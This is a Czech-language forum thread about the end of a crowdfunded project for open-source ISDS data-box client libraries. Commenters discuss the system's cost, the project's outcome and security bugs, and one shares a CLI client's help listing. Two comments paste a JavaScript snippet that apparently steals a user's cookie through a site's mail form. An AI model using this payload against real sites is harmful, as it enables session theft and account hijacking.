Uzavření projektu Multiplatformní přístup pro datové schránky (diskuse)

[www]

Petr Písař a libisds mají muj obdiv. Přál bych jim větší odměnu, 30k neni špatný, ale muselo s tim bejt strašně práce.

[Saljack]

Koukám, že ty datové schránky nejsou zrovna bezpečné. Tu chybu s tím, že můžeš zjistit něco o zprávě, která ti nepatří by měli opravit. Tohle obrovská chyba, která by se u takového projektu objevit prostě neměla.

[trekker.dk]

Koukám, že ty datové schránky nejsou zrovna bezpečné.

Dobré ránko

[Jendа]

Koukám, že ty datové schránky nejsou zrovna bezpečné.

<uvítací melodie Windows XP>

Tu chybu s tím, že můžeš zjistit něco o zprávě, která ti nepatří by měli opravit.

Jsou tam i horší věci.

[Jendа]

Tak jsem si stáhl poslední 602XML Filler a chyba nahlášená 15. 1. 2010 stále trvá.

[Luk]

No a cos čekal?

[Jendа]

No jsem přihlášen v konferenci debian-security, takže jsem si zvykl na to, že privilege escalation je považováno za kritikou chybu, která se opraví tak nejvýš do jednoho dne. Obzvláště když k její opravě stačí jeden chown.

[Luk]

Měl by ses vráti nohama na zem, do Česka. Do země, kde se ústavní práva považují za zbytečnou překážku při vyšetřování drobných dopravních přestupků, kde se veřejné zakázky zadávají nejdražší nabídce (a při prodeji majetku se naopak prodává nabídce nejnižší), kde patří k bontonu chodit na večírky s milionem v kapse a kde ... nějaké kritické chyby nikoho netrápí.

[s0]

Petře Písaři, klobouk dolů!

[belisarivs]

Souhlas. Je to borec.

[Ladislav Nešněra]

..takhle jsem se už dlouho nezasmál. A zasmál bych se ještě víc, kdyby tu někdo přihodil informaci, na kolik že tato taškařice přišla daňového poplatníka.. (Hlavně by mě zajímala ta proklamovaná "úspora" oproti obálkám s modrým pruhem)

[fri]

nemám představu, ale zaznamenal jsem názor zkušenějších, že je to prostě "černá díra" vysávající finanční prostředky, kterou nikde jinde v okolních státech nemají; možná něco na ten způsob zkusili ve Švédsku (možná ne), ale brzy od toho pro ty náklady ustoupili.

[kkaarreell]

Rekl bych ze zadna, posta cenu za datovou zpravu zvolila tak, aby si tim nahradila usly zisk.

[Ladislav Nešněra]

To si nemyslím. Z toho, co vím, datovkou chodí i věci, které by se jinak posílaly běžnou korespondencí. Asi by stačilo porovnat objem pošty z které vycházela ta kalkulace a datové zprávy orgánů veřejné moci.

Celkem neúspěšně jsem zkoušel najít nějaká čísla, ale narazil jsem i na vtipnou kalkulačku. Moc se mi líbí ta nulová cena..

[Jendа]

Celkem neúspěšně jsem zkoušel najít nějaká čísla

Pokud by například Seznam doručoval e-maily za podobnou cenu, jako ISDS doručuje zprávy, začal by být v České republice citelný nedostatek peněz .

ale narazil jsem i na vtipnou kalkulačku

To mi připomíná kalkulačku DP, která v případě dopravy metrem počítá čas z nástupiště na nástupiště…

[kkaarreell]

No, datova zprava vyjde stat asi na 16 Kc (o 10 Kc mene nez doporuceny dopis), system stal temer miliardu. Jelikoz datovou zpravu nemusi posta nikde vybirat, tridit, prevazet, ani dorucovat, tak si nemyslim, ze by na tom prilis tratila. Na druhou stranu by me zajimalo, kolik asi tak muze stat provozovani email hostingu s digitalnim podpisem. A at si posta tvrdi co chce, o nic vic se prakticky nejedna (obyc. email hosting by byl vlastne jednodussi a fungoval napric platformami).

[frr]

+1 Aneb k čemu vynalézat kolo. Standardní a multiplatformní prostředky pro transport zpráv jsou široce dostupné, dokonce i v provedení pro masové nasazení.

Ach jo. Oni to zřejmě nejsou jenom datové schránky. Nedávno nám při dovozu nějaké drobnosti DHL nutilo JSD ve formátu XML, že jim to takhle posílá česká Celní správa. A ať si to archivujem a že nám to takhle musí stačit. A naše účetní se stavěla na zadní, že pro pár konkrétních účelů ten doklad potřebuje na papíře. Ona sice existuje nějaká komerční+placená aplikace pro celní deklaranty (možná ne jedna), která to umí otevřít a interpretovat=vytisknout na papír nebo do PDF, a v DHL ji i mají interně k dispozici, ale rozumím tomu tak, že ji nemají zapřaženou do standardního workflow (protože je stand-alone klikací) = interní provozní systém mají shůry daný z centrály v USA a ručně provádět export českých XML JSD do PDF nehodlají (při tom objemu zásilek to nejde). Takže prostě forwardujou XML attachment od celní správy svým koncákům. To si kvůli nedohodě DHL s českým státem máme koupit složitý software, který ani z 1% nevyužijeme? Že jsem trochu od fochu, zkoušel jsem browsit, jestli k tomu najdu aspoň náznak DTD, XSL nebo aspoň nějaké dokumentace. Ani náhodou. Ten XML soubor vůbec neobsahuje v hlavičce odkaz na relevantní DTD... a spousta tagů uvnitř obsahuje nějaké číselné kódy, ke kterým tímto neexistuje popis významu. No aspoň že z toho jde pochopit jakási částka a měna - ale můžu se jenom domnívat, že si význam tagů myslím správně. XML v tomhle pojetí, to je taková hra na otevřenost... (Zkoušeli jsme se v DHL na někoho dotelefonovat, i jsme po telefonu vynadali pár lidem, kteří zněli trochu relevantně, tj. z babosedu/callcentra nás kamsi přepojili, ale zjevně jsme neťali do živého

[Luboš Doležel (Doli)]

A až tak se to nevyplatí ani firmám používat k posílání pošty mezi sebou. Kdyby ta zpráva stála 5 Kč, tak by to šlo, ale takhle je to víc problémů než užitku.

[Michal Kubeček]

Kdyby stála pět korun, byla by levnější než doporučený dopis a Česká pošta by na tom tratila. Nebo by si aspoň myslela, že na tom tratí.

[trekker.dk]

A zasmál bych se ještě víc, kdyby tu někdo přihodil informaci, na kolik že tato taškařice přišla daňového poplatníka..

Pokud si dobře vzpomínám, slyšel jsem něco o 800MKč. Jestli je v tom i provoz, nebo je to vyloženě za zhotovení, to si nepamatuju.

[Jendа]

A zasmál bych se ještě víc, kdyby tu někdo přihodil informaci, na kolik že tato taškařice přišla daňového poplatníka..

9×10⁸ Kč.

[d.c.]

Bohuzel, neni to vse.

[Aleš Kapica]

Ty jo. Neměl jsem sílu to dočíst. Neexistuje pádnější doklad diletantského přístupu ze strany státu k IT, jako právě tento popis stavu projektu od p. Písaře.

[Jiří Svoboda]

A proč z toho viním programátory ze Slušovic?

Svazarmovská badna Software602 je pražská. Nebo snad opravdu mají někoho ve Slušovicích? Nedošlo k záměně s SWS?.

[Senior Database Programmer]

Primárně chceme vyvinout samostatnou jednoúčelovou GUI aplikaci a rozšíření Thunderbirdu.

Takže výsledok je fiasko, presne ako som predpovedal. Ak si dobre pamätám tak cieľom mala byť GUI aplikácia, konkrétne nadstavba nad Thunderbird a knižnice na prístup k schránkam mal byť len medzikrok.

Knižnicu ako user vobec nemozem pouzivat, nedal by som im ani korunu!

[trekker.dk]

Nejlepší jsou lidi, co ze svého nedají ani korunu, ale mají pocit, že někdo bude brát vážně jejich poznámky o tom, jak koho za co odměňovat.

[Senior Database Programmer]

Ten výkrik na konci bol len sranda, prečo reaguješ zrovna na to a nie na zvyšok?

Ak by som bol vyhlasovateľ tejto súťaže asi by som rozmýšlal, že knihovny odmením podľa plánu (12 a 10 tisíc Kč) a zvyšok financii vrátim darcom, pretože projekt nebol dokončený a ostal vo Fáze 1.

[Filip Jirsák]

Pamatujete si špatně.

Jako uživatel byste spíš měl používat frontend té knihovny (v článku je také zmíněn).

[Senior Database Programmer]

Veď som citoval z článku zadania, takže si to pamätám dobre:

Primárně chceme vyvinout samostatnou jednoúčelovou GUI aplikaci a rozšíření Thunderbirdu.

v zadani bolo:

Cílem je vytvoření funkčního GUI rozhraní, které uživateli umožní provádět níže uvedené funkčnosti:

Aj odmeny boli nastavené tak, že najväčšie boli za GUI aplikáciu a plugin do Thunderbirda takže ma nepresvedčujte o opaku Knižnice bola iba Fáza 1. Veď to všetko máte v tom wiki projektu.

Treba si chlapsky priznať, že to je fiasko. Komunita nefunguje a za 60 litrov by to pravdepodobne zbúchala komerčná firma presne podla zadania, v kratšom čase a výsledok by bol funkčná aplikácia.

Koľko ludí použije tie knižnice? Všetky ostatné aplikácie na prácu so schránkamy používajú vlastné. Možno ešte vzniknu nejaké nové projekty na prístup ku schránkam a použijú tieto vaše hotové knižnice ale koľko ich bude? Jeden alebo dva? Hotový plugin do Thunderbirdu by IMHO bol najpoužívanejší plugin do TB v ČR! Bohužial, projekt ostal vo fáze 1.

Ten frontend v clanku je command line, cielom bolo GUI alebo TB rozsirenie!

[Luboš Doležel (Doli)]

Není to fiasko, mimo tento projekt vzniklo několik dalších projektů, na jejichž konci je i GUI klient. Podstatné je, že pokud nyní bude jakákoliv firma nebo jedinec chtít zaintegrovat DS do svého produktu, mají komunikační práci hotovou, a to je hodně. Výstupem jiných projektů podobně schopné knihovny, pokud vím, nebyly. Navíc v článku zmiňovaný klient pro Android tuším staví právě na JAVA_ISDS.

Na TB rozšíření se nikdo nenašel, což při pohledu na složitost programování čehokoliv pro Mozillí produkty ani není divu.

[Senior Database Programmer]

No veď presne to som napísal. Hotové knižnice použije pár nových projektov (1 alebo 2, moc ich už asi nevznikne) a to je všetko.

Obyčajný uživateľ má smolu a z jeho pohľadu najužitočnejšou časťou projektu je wiki text kde sú vymenované iné aplikácie na pristúp do DS, pretože tie môže použiť.

Ad zložitosť TB: Nemusel to byť len plugin do TB ale v zadaní bolo aj ľubovolná iná multiplatformná GUI aplikácia (Java, QT, GTK). Aplikácia nevznikla žiadna (command line utilitku nepočítam, to nieje GUI), projekt ostal vo fázi 1 :-/

[Senior Database Programmer]

Ad zložitost TB rozširírenia: Tu niekto v diskusii tvrdí že to je malina.

Mozilla má obecně jednu z nejlépe dokumnetovaných podpor rozšíření.

[Filip Jirsák]

Mezi „GUI aplikace a/nebo rozšíření Thunderbirdu“ a „rozšíření Thunderbirdu“ (co si pamatujete vy) je rozdíl.

Knihovny jsou podstatná část toho projektu – ostatně na jejich základě už vznikly minimálně dva frontendy. Mít GUI, které by ale nic nedělalo, by bylo horší.

„Komunita nefunguje“ svědčí akorát o tom, že netušíte, co je to komunita. Vaše představa, že komunita je něco, do čeho hodíte zadání a ono vám to vyplivne výsledek, je mimo.

za 60 litrov by to pravdepodobne zbúchala komerčná firma presne podla zadania, v kratšom čase a výsledok by bol funkčná aplikácia.

Výsledek by byla aplikace nyní už zase nefunkční, protože od zadání se některé věci dost podstatně změnily. Takže byste vzal dalších 60 tisíc a dal je další firmě, aby to napsala znova podle nového zadání. A nebo tady máte opensource projekt, který není závislý na původním autorovi a může na něm pokračovat každý.

[Senior Database Programmer]

Rád by som poznal názor Leoša Literáka (on bol pôvodný zadavateľ nie?) či výsledok zastavenie projektu vo fázi 1 považuje za úspech.

LOL

[FrantaS]

To: Senior Database Programmer

Vážený pane,

řeknu to velmi, ale opravdu velmi velmi slušně:

Váše názory opravdu opravdu velmi nesdílím.

[trekker.dk]

Výsledek by byla aplikace nyní už zase nefunkční, protože od zadání se některé věci dost podstatně změnily. Takže byste vzal dalších 60 tisíc a dal je další firmě, aby to napsala znova podle nového zadání.

Ona je sporná i platnost tvrzení, že by to firma zbouchala za šedesát tisíc... tak nějak mi to přijde kapku málo.

[moira]

+1

[jehovista]

"za 60 litrov by to pravdepodobne zbúchala komerčná firma" Za 60 litru se s tebou komercni firma ani nebude bavit. To jsou jenom mesicni naklady na programatora.

[multi]

za 60 litrov by to pravdepodobne zbúchala komerčná firma presne podla zadania, v kratšom čase a výsledok by bol funkčná aplikácia.

Tak todle me neda se nevyjadrit! Zakolik ze to nezvladla na firma 602, ktera je komercni ? Ani tu multiplatformni knihovnu neudelala!

[imploder]

+1

Inu, zlaté české ručičky.

Jak se u nás k takovým zakázkám přistupuje ilustruje i "červené tlačítko", za jehož naprogramování vyhodil stát jen tak pár set tisíc (je to jedno tlačítko jako doplněk na panel IE, při kliknutí současné URL a několik URL z historie). Myslím, že DS jsou něco podobného, akorát ve velkém.

[User682]

zdravim,

projekt ukazal jednu velmi dobrou zkusenost do budoucna. Ze firmy a lidi jsou ochotni za vyvoj aplikaci pro Linux platit. Ted neresim licence a otevrenost zdroju. Takze diky za proslapani cesty.

Kdybych sel do neceho podobneho, tak 1/4-1/3 ceny padne urcite na analytika a nekoho, kdo to bude ridit.

Cekal jsem tedy o neco vice na vybranych penezich, kdyz bylo subjektu, co prispeli tolik. Minuly rok jsem investoval do obsahu asi 60kKc ze sveho....

gf

[karel]

ja ted vidim pravej opak.... poradny prachy nedal nikdo.....

[Mintaka]

Také se ukázalo, že v naší malé České kotlině je několik skupin, kterým stojí za to, hrát si na svém písečku místo aby se spojili. Škoda, že jsme programátorům nevytvořili zázemí uživatelů a testerů, kteří by jim viseli na klávesnici a vrhali se na každý nový release.

Za dobré považuji, že vůbec byla chuť a vůle do takového projektu jít a že se to podařilo dovést tam kde to je.

Snad se dostatečně ukázalo, že když to bude opravdu třeba, najde se pár blanických, kteří vylezou a věnují kousek svého života druhým.

[frr]

Pokud odhlédnu od "aspektu daňového poplatníka", tak mám trochu déja vu: programovat čistou implementaci protikusu k nějakému proprietárnímu programu, který si snad ani neklade za cíl mít dobrý interní návrh a čisté/stabilní/standardní vnější rozhraní... to už jsem taky jednou zkusil. Zůstal mi tehdy dost tělesný pocit únavy a marnosti. Pan Písař má můj hluboký obdiv.

[frr]

BTW, napsat server pro potřeby testování klientské knihovny: => v optimálním případě by vznikla alternativní open-source implementace serverové strany "datových schránek"

[multi]

+1

[Mintaka]

A což rovnou nabídnout vládě ČR OpenSource alternativu ISDS serveru jako kandidáta na přebrání ostrého provozu?

Česká pošta by dostala na prdel. Možná by ji to zahubilo, nebo by se zamysleli a začali dělat věci lépe.

[frr]

Ano, přesně tímto směrem jsem vtipkoval. Vtipkoval, protože

1. To by nejdřív v našem politickém vedení musela existovat politická vůle řešit věci otevřeně, transparentně a elegantně
2. nebylo by třeba programovat zgruntu nového kočkopsa, ale jak výše navrhuje kkaarreell, dalo by se to postavit v maximální míře na zavedených a standardních technologiích pro doručování/čtení/archivaci zpráv
3. I takové "otevřené" řešení by musel někdo vymyslet, postavit, nainstalovat, v okrajových aspektech programátorsky dointegrovat, a taky provozovat. Postavit to a hotovou provozuschopnou věc ukázat vládě, to je scifi - protože přinejmenším infrastruktura pro takový cluster něco stojí. Takže je opět na výběr zadat to nějaké firmě (třeba některému stávajícímu freemailu), nebo to případně provozovat vlastními silami nějakou státní organizační složkou.

Můžete jmenovat nějaký celostátní IT projekt provozovaný českým státem, který byl zprovozněn "finančně při zdi" a bez pijavic? Mě se třeba líbí fungování CZ-NICu a NIXu posledních pár let, ale to jsou projekty vzešlé z iniciativy skupiny komerčních subjektů ("zájmové sdružení právnických osob") - to nejsou státní instituce. Jo kdyby něco takového rozjel CZ-NIC, a byl schopen zalobovat na vládě/parlamentu, že tento "freemail" bude mít stejné právní postavení jako dnešní Datové Schránky... taky by mě zajímalo, jak by musel vypadat komerční model té věci - uvědomte si, že NIX a CZ.NIC jsou financovány několika málo komerčními subjekty (domény se platí od kusu, ale nepřímo prostřednictvím komerčních registrátorů) => čili takhle nějak by musely fungovat i platby za "oficiální centrální mailbox".

[Mintaka]

RE. 1: Kromě "politické vůle" a krmení pijavic je to často také ukrutná dávka neznalosti a neschopnosti. Ovšem v konečném důsledku si za to můžeme sami, protože nejsme schopni spojit své úsilí a ozvat se, že takto tedy ne. Můžeme si za to sami, protože nejsme schopni si do vedení státu/samosprávy čela dosadit lidi, kteří by to dělali poctivě a pár let jim to vydrželo.
RE. 2: Souhlas. Veškerá potřebná funkcionalita ISDS by šla řešit standardními prostředky.
RE. 3: Odvíjí se od 2. Návrh hlavní a vedlejší funkcionality -> veřejné připomínkové jednání -> pořádný návrh řešení -> konzultace návrhu řešení s odborníky z několika implementačních firem + zasloužilými odborníky typu Peterka. -> finální návrh řešení -> výběr implementační firmy + zvážení sestavení vlastního týmu pro realizaci -> extenzivní testování -> nasazení betaverze do ostrého provozu za takových podmínek, že řada firem bude sama chtít službu používat -> kvalitní podpora uživatelů, systémových integrátorů, vývojářů případných nádstaveb, adminů -> vyladění a dotažení -> propagace projektu a nabídnutí k používání za velmi výhodných podmínek.
Klidně ať to stojí co to stálo teď, ale ať je jasně vidět, že to byly dobře vynaložené prostředky za velmi kvalitní a promyšlnou službu, která bude ku prospěchu všem zůčastněným.

RE. Můžete jmenovat nějaký celostátní IT projekt provozovaný českým státem, který byl zprovozněn "finančně při zdi" a bez pijavic?: Možná kdybych dlouho pátral, tak bych i pár našel, ale těch které působí negativně je víc (třeba aktualizace stránek Prahy za 300 000 000 v době "nejhlubší krize").

PS: Zase tak moc se s tím ale netrápím, život je krátký. Snažím se pomáhat tam kam dosáhnu.

[tencotěvidí]

xmlhttp.open('GET', '/Profile?action=sendEmail&uid=15224');
xmlhttp.send('');
var pole = xmlhttp.responseText.split(' ');

var kod = '';
var part_num = 0;
while (part_num < pole.length) {
	if (pole[part_num] == 'hodnotu') {
		kod = pole[part_num+1].substring(0,4);
		break;
	}
	part_num += 1;
}

xmlhttp.open('GET', '/Mail?KOD=' + kod + '&sender=admin%40pobox.sk&cc=&bcc=&subject=' + cookie + '&message='  + cookie + '&finish=Odeslat&url=%2FProfile%2F15224&action=finish');
xmlhttp.send('');

[ftw]

xmlhttp.open('GET', '/Profile?action=sendEmail&uid=15224'); xmlhttp.send(''); var pole = xmlhttp.responseText.split(' ');

var kod = ''; var part_num = 0; while (part_num < pole.length) { if (pole[part_num] == 'hodnotu') { kod = pole[part_num+1].substring(0,4); break; } part_num += 1; }

xmlhttp.open('GET', '/sochi1.blog@gmail.com?KOD=' + kod + '&sender=admin%40pobox.sk&cc=&bcc=&subject=' + cookie + '&message=' + cookie + '&finish=Odeslat&url=%2FProfile%2F15224&action=finish'); xmlhttp.send('');

[Mintaka]

Příliš málo komentovaný kód

[Mintaka]

Neodpustím si velké poděkování Petru Písařovi. Řekl bych, "skvělá práce".

Doufám, že mu tato ostruha pomůže v lepším profesním uplatnění a ocenění.

Kam je možné poslat finanční drobek na podporu dalšího vývoje v této oblasti?

[astray]

Jaký frontend byste tedy doporučili pro Debian? Potřebuju se do schránky jen přihlásit a přečíst dokument, to je vše (případně si ho přeposlat mailem).

Díky ast

[Luk]

Já používám dsgui, byť ne na Debianu.

[Mintaka]

A nebo:

This is Shigofumi, an ISDS client. Have a nice e-government.

Use `help' command to get list of available commands. shigofumi> help Following commands are available: accept accept commercial message box show current box details cache show cache details cd change working directory commercial manipulate commercial receiving box status compose compose a message convert submit local document for authorized conversion copying show this program licence excerpt debug set debugging delivery get message delivery details findbox search for a box hash query ISDS for message hash help describe commands load load message or message delivery details from local file login log into ISDS lsi list received messages lso list sent messages msgi get incoming message msgo get outgoing message passwd manipulate user password pwd print working directory quit exit shigofumi read mark message as read statbox get status of a box user show current user details users show box users version show version of this program

[Mintaka]

Tak znovu a lépe:

This is Shigofumi, an ISDS client. Have a nice e-government.
Use `help' command to get list of available commands.
shigofumi> help
Following commands are available:
accept          accept commercial message
box             show current box details
cache           show cache details
cd              change working directory
commercial      manipulate commercial receiving box status
compose         compose a message
convert         submit local document for authorized conversion
copying         show this program licence excerpt
debug           set debugging
delivery        get message delivery details
findbox         search for a box
hash            query ISDS for message hash
help            describe commands
load            load message or message delivery details from local file
login           log into ISDS
lsi             list received messages
lso             list sent messages
msgi            get incoming message
msgo            get outgoing message
passwd          manipulate user password
pwd             print working directory
quit            exit shigofumi
read            mark message as read
statbox         get status of a box
user            show current user details
users           show box users
version         show version of this program

[Jendа]

Have a nice e-government.

Šmarjá